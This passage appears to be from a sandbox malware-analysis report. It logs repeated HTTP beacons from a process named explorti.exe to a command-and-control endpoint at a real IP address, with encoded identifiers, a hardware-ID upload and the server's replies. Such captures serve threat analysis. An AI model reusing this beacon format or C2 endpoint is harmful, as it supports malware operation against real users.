0a Data Ascii: ------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="hwid"BCAA2B25F446368224558------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="build"leva------BFHIJEBKEBGHIDHJKJEG--
Sep 1, 2024 05:09:34.647185087 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49797	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:34.107027054 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:34.854726076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:35.197618008 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:35.449481964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49798	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:35.688891888 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:36.422256947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:36.423302889 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:36.669914961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49804	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:36.781737089 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:37.516731024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:37.527499914 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:37.774120092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 1, 2024 05:09:37.991980076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49808	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:37.996011019 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:38.732589006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:38.743779898 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:38.990521908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49809	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:39.259022951 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:39.947465897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:39.948273897 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:40.200223923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49811	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:40.314572096 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:41.054738045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:41.055484056 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:41.301810026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49816	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:41.420056105 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:42.158991098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:42.159885883 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:42.405805111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	52616	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:42.597940922 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:43.351835012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:43.354832888 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:43.647969007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	52621	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:43.769864082 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:44.529767036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:44.530560017 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:44.784271955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	52624	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:44.902895927 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:45.645256996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:45.646025896 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:45.893301010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	52625	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:46.027770042 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:46.793823957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:46.797888994 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:47.048810959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	52626	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:47.159539938 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:47.900027037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:47.902829885 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:48.148216963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	52627	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:48.262603998 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:49.029122114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
